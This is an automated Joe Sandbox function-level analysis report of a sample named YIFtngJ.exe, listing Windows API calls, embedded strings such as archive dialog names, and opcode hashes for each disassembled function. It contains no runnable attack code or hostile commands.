Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: aa807cb24d1518459434d5683099b3a80f470f4f3438bc6d7cc45413ebf9e9fd
Instruction ID: 50cc0f9b249b44810630410f4fd946eb9806a9bad09e0f3d847467e0d640f7ec
Opcode Fuzzy Hash: aa807cb24d1518459434d5683099b3a80f470f4f3438bc6d7cc45413ebf9e9fd
Instruction Fuzzy Hash: F6F03C31A14219BFCB15AFA5DD49B9EBFF9EF04711F1040A5B805A3160DF758D40CB94

Function 00B6DEB5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6F309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B6F324
Part of subcall function 00B6F309: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B6DEC8,Crypt32.dll,?,00B6DF4A,?,00B6DF2E,?,?,?,?), ref: 00B6F346

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00B6DED4
GetProcAddress.KERNEL32(00BA1E58,CryptUnprotectMemory), ref: 00B6DEE4

Strings

CryptUnprotectMemory, xrefs: 00B6DEDA
Crypt32.dll, xrefs: 00B6DEBE
CryptProtectMemory, xrefs: 00B6DECE

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: c07a9dce719517437376dd3864ee22d1ecf24ae43ffac0882d078cedc22549fb
Instruction ID: 9d80be399da4c9e428b90146b790ab89a4a93f2ce581c0674b5cc15800897988
Opcode Fuzzy Hash: c07a9dce719517437376dd3864ee22d1ecf24ae43ffac0882d078cedc22549fb
Instruction Fuzzy Hash: 03E086B1914747AEDF406F75A809B15FFE4BF90710F1085A6F418C3650DBB9D0A4CB50

Function 00B852F0 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B85362
_free.LIBCMT ref: 00B85382

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e9d35f305a3f64a094e37d9273859cbd3bed89091e54a31fcd18555a7dbf12e5
Instruction ID: 25758bfabfd89933a2866a4f9c70a642174fe6f72fc265da2132614c065f4d49
Opcode Fuzzy Hash: e9d35f305a3f64a094e37d9273859cbd3bed89091e54a31fcd18555a7dbf12e5
Instruction Fuzzy Hash: F741F232A006149FCB24EF78C891A5EB3F5EF85350F1585A9E516EB3A1DB71AD01CB80

Function 00B889AF Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B889B8
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B889DB

Part of subcall function 00B859FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B823AA,?,0000015D,?,?,?,?,00B82F29,000000FF,00000000,?,?), ref: 00B85A2E

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00B88A01
_free.LIBCMT ref: 00B88A14
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B88A23

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 03fc314fd0e53ec5039854800c88b2953ea56ffc6fd6bba864eb1d166d401d10
Instruction ID: c51823a8f2ccfd504376a53bd06d09fa31072e14edf551b36a2df7e259d6a1ba
Opcode Fuzzy Hash: 03fc314fd0e53ec5039854800c88b2953ea56ffc6fd6bba864eb1d166d401d10
Instruction Fuzzy Hash: 8101B1766016197F27367AAA5D8CC7B69ECDEC6BA035401AAF805E3161EE708C01C2B0

Function 00B863A3 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00B85E43,00B85ADF,?,00B8634D,00000001,00000364,?,00B82213,?,?,00B9CBE8), ref: 00B863A8
_free.LIBCMT ref: 00B863DD
_free.LIBCMT ref: 00B86404
SetLastError.KERNEL32(00000000,?,00B9CBE8), ref: 00B86411
SetLastError.KERNEL32(00000000,?,00B9CBE8), ref: 00B8641A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e0d6f95da308dc5f3996e43457191c195fe67418eb1723c750b14cfa4186cfaa
Instruction ID: 42b0a8063bcb5266df5467f31725dae4cb866fb85490ed61204aa50515c5fd2b
Opcode Fuzzy Hash: e0d6f95da308dc5f3996e43457191c195fe67418eb1723c750b14cfa4186cfaa
Instruction Fuzzy Hash: 8301D1762457006BC7123B282C8AE6A27E9DBD277573441A9F424A32B2EE75CC01C3A4

Function 00B8926A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B89282

Part of subcall function 00B859C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?), ref: 00B859D8
Part of subcall function 00B859C2: GetLastError.KERNEL32(?,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?,?), ref: 00B859EA

_free.LIBCMT ref: 00B89294
_free.LIBCMT ref: 00B892A6
_free.LIBCMT ref: 00B892B8
_free.LIBCMT ref: 00B892CA

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f130528d76616181233c7a96f7f09d6927b3f80d4936776b176991c28a6f9dbc
Instruction ID: 2d942f3a23616161c092adb784dfe41c9cfbb623b86e896d73a999f389b0147d
Opcode Fuzzy Hash: f130528d76616181233c7a96f7f09d6927b3f80d4936776b176991c28a6f9dbc
Instruction Fuzzy Hash: E1F0FF32605704FBCE20FF68E9C2C6677E9EA007207684886F449D7561CA24FC81C794

Function 00B8553F Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B8555D

Part of subcall function 00B859C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?), ref: 00B859D8
Part of subcall function 00B859C2: GetLastError.KERNEL32(?,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?,?), ref: 00B859EA

_free.LIBCMT ref: 00B8556F
_free.LIBCMT ref: 00B85582
_free.LIBCMT ref: 00B85593
_free.LIBCMT ref: 00B855A4

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4e325897aff4cdc07ca9a09d2ec474b461c9eb63cda43aa41e610d8b3461a338
Instruction ID: 9dc17b000f8a1900094c25c10b27b03abeef96f2f66f7dd28b51c90df9a58c62
Opcode Fuzzy Hash: 4e325897aff4cdc07ca9a09d2ec474b461c9eb63cda43aa41e610d8b3461a338
Instruction Fuzzy Hash: AAF0B7B1922A209BCF61BF18AD418993BE5BB14721346038AF45497271CFA54D01DBC6

Function 00B84BDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe,00000104), ref: 00B84C1A
_free.LIBCMT ref: 00B84CE5
_free.LIBCMT ref: 00B84CEF

Strings

C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe, xrefs: 00B84C11, 00B84C18, 00B84C47, 00B84C7F

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
API String ID: 2506810119-3623741195
Opcode ID: 50d48d7cc6cee7ed3f33e298862a633381fe5cc1b867970f46affb59f97f17a6
Instruction ID: 9652caf19b7571098b5a15456b50fc6a30c9322631f5d9df82265f22074b09f6
Opcode Fuzzy Hash: 50d48d7cc6cee7ed3f33e298862a633381fe5cc1b867970f46affb59f97f17a6
Instruction Fuzzy Hash: 94316A71A01259EFDB21EF99DD81DAEBBFCEB85310B1041E6F80497221DBB08E40CB90

Function 00B67463 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B67468

Part of subcall function 00B63AA3: __EH_prolog.LIBCMT ref: 00B63AA8

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000), ref: 00B6752E

Part of subcall function 00B67A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B67AAC
Part of subcall function 00B67A9D: GetLastError.KERNEL32 ref: 00B67AF2
Part of subcall function 00B67A9D: CloseHandle.KERNEL32(?), ref: 00B67B01

Strings

SeRestorePrivilege, xrefs: 00B674C1
SeSecurityPrivilege, xrefs: 00B674AC

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 8562593cd36125aec2faa87fe40237e30ecbc67aa2f5f02c3e54def896b9a123
Instruction ID: 069e379d424b96c6037eee1640cd981c4c506ea238a1a6463f0fcb43d0b45923
Opcode Fuzzy Hash: 8562593cd36125aec2faa87fe40237e30ecbc67aa2f5f02c3e54def896b9a123
Instruction Fuzzy Hash: 1631AF71944208AEDF10EB689C06BEE7BF8EF54304F1440EAF449A7292CF784A44C761

Function 00B7A8D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

CharUpperW.USER32(?,?,?,?,00001000), ref: 00B7A92C
CharUpperW.USER32(?,?,?,?,?,00001000), ref: 00B7A953

Strings

-, xrefs: 00B7A91A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CharUpper
String ID: -
API String ID: 9403516-2547889144
Opcode ID: c54d9881f5b0a497b89c002f850601e24d2d0324fb34ae1541332950a89f1bfe
Instruction ID: a3cb77d32e589cb3fe090112d79f6209d624e3d745e24efb20a03ff0942673dd
Opcode Fuzzy Hash: c54d9881f5b0a497b89c002f850601e24d2d0324fb34ae1541332950a89f1bfe
Instruction Fuzzy Hash: 5D21EA7240424665D360AB688849B7FB7D8D7C5314F01C49AF6BCD2581E774D9A4E363

Function 00B79123 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00B612E7: GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
Part of subcall function 00B612E7: SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

EndDialog.USER32(?,00000001), ref: 00B791AB
GetDlgItemTextW.USER32(?,00000065,00000000,?), ref: 00B791C0
SetDlgItemTextW.USER32(?,00000065,?), ref: 00B791D5

Strings

ASKNEXTVOL, xrefs: 00B7913B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 6a71b7508520182c265542019fcf1d0f2a0751d7a93e1f682fae542da9dc6e3f
Instruction ID: bd453da9b9657846b2a2ef31e1de0e33fd8f8e8f82fbd9b8b30794bd94fca768
Opcode Fuzzy Hash: 6a71b7508520182c265542019fcf1d0f2a0751d7a93e1f682fae542da9dc6e3f
Instruction Fuzzy Hash: 7F112632244202BFD6119BA8DD8DF563BE9EF4A701F408090F255FB8B1C7619C21EB66

Function 00B79646 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00B612E7: GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
Part of subcall function 00B612E7: SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

EndDialog.USER32(?,00000001), ref: 00B79694
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 00B796AC
SetDlgItemTextW.USER32(?,00000066,?), ref: 00B796DA

Strings

GETPASSWORD1, xrefs: 00B7965F

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 08d39c44c0495f5d5ea20c769bd9acd1b1129f74484fe8bede781a5da9aa5ef9
Instruction ID: 9ab3b0b8e8fe4d4463c2e1471773182b4105fa8e79049f7c1f022b2dbe1d990a
Opcode Fuzzy Hash: 08d39c44c0495f5d5ea20c769bd9acd1b1129f74484fe8bede781a5da9aa5ef9
Instruction Fuzzy Hash: 6911A1329001187BDB21AE689D89FFA77ECEB49750F0041A5FA59E3480C6A5ED1097A1

Function 00B6B100 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B6B127

Part of subcall function 00B63F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B63F6E

_wcschr.LIBVCRUNTIME ref: 00B6B145
_wcschr.LIBVCRUNTIME ref: 00B6B155

Strings

%c:\, xrefs: 00B6B11D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: c20d6bbeca01966260765979264d028c4be75f597de5e2236448ec52137f7c6f
Instruction ID: 8d35033b2a6ab96f73a1756efcbe53d47fd40d2861c577f1d010efb0b54e804b
Opcode Fuzzy Hash: c20d6bbeca01966260765979264d028c4be75f597de5e2236448ec52137f7c6f
Instruction Fuzzy Hash: BD01D61752031179CA2077658C85C6BB7FCEF567B0B54449BF844E2091FB38D890C3A1

Function 00B6F930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(000001A0,00BA1E74,00000000,?,?,00B6FB88,00000020,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?), ref: 00B6F969
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF), ref: 00B6F973
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF), ref: 00B6F983

Strings

Thread pool initialization failed., xrefs: 00B6F99B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: ba845d5aa8aac2c4a05806eae80d59745d401b76bb8cfb7d46dcdc12245951f9
Instruction ID: c9d22504febe0b56fdca97b7956d80b1e4e77ca458af40eb5c64f0b31e297008
Opcode Fuzzy Hash: ba845d5aa8aac2c4a05806eae80d59745d401b76bb8cfb7d46dcdc12245951f9
Instruction Fuzzy Hash: EC112EB2601706AFD3206F65A989AA7FBECEF55355F10487EE2DA83240DA756840CB50

Function 00B7BEE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00B7BF2C, 00B7BF5E
RENAMEDLG, xrefs: 00B7BF42

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9e289c1ea1c691dfe5abdeeefa712332a023b96e12c54b73522bcf2df471d666
Instruction ID: e86ee2694ef6c1c13b1fdc85f98d63730af9365465941ee235f5abc01aaa8265
Opcode Fuzzy Hash: 9e289c1ea1c691dfe5abdeeefa712332a023b96e12c54b73522bcf2df471d666
Instruction Fuzzy Hash: 5401D432608205BFC7109B1CEC41F26BBE9E78A794F0185A6F56997130DB329C04EF61

Function 00B6CE48 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00B6CE57
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 00B6CE66

Strings

LTR, xrefs: 00B6CE76, 00B6CE81, 00B6CE8A
RTL, xrefs: 00B6CE5F, 00B6CE64, 00B6CE98

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: bd8974a89dbc98e9f97a99d3c15df8ff8a75b9430851d7f07500ccb355d7a0ca
Instruction ID: af8255380d33bacdb5795f24e6dc3d46fdfc1856a0234fdb6588fb4928031b4d
Opcode Fuzzy Hash: bd8974a89dbc98e9f97a99d3c15df8ff8a75b9430851d7f07500ccb355d7a0ca
Instruction Fuzzy Hash: B5F02B326543186BE72476B55C0AF673BECE781700F1042EEF645C70C0DFA5990887B4

Function 00B86552 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B865DD
__alldvrm.LIBCMT ref: 00B867DE
__alldvrm.LIBCMT ref: 00B86800

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 2f430cb2a74aa859eafc5ddd4affd14cc97d35a892c3f37a2c0f3c52710f6d69
Instruction ID: 7e9064766cc0af0d039f7614e15132ea770bcd8d7cd0c37bf56570ecf7eae105
Opcode Fuzzy Hash: 2f430cb2a74aa859eafc5ddd4affd14cc97d35a892c3f37a2c0f3c52710f6d69
Instruction Fuzzy Hash: 49A19C35E003869FEB21EF18C891BAEBBE5EF15314F1441EED8989B2A1D638CC41C790

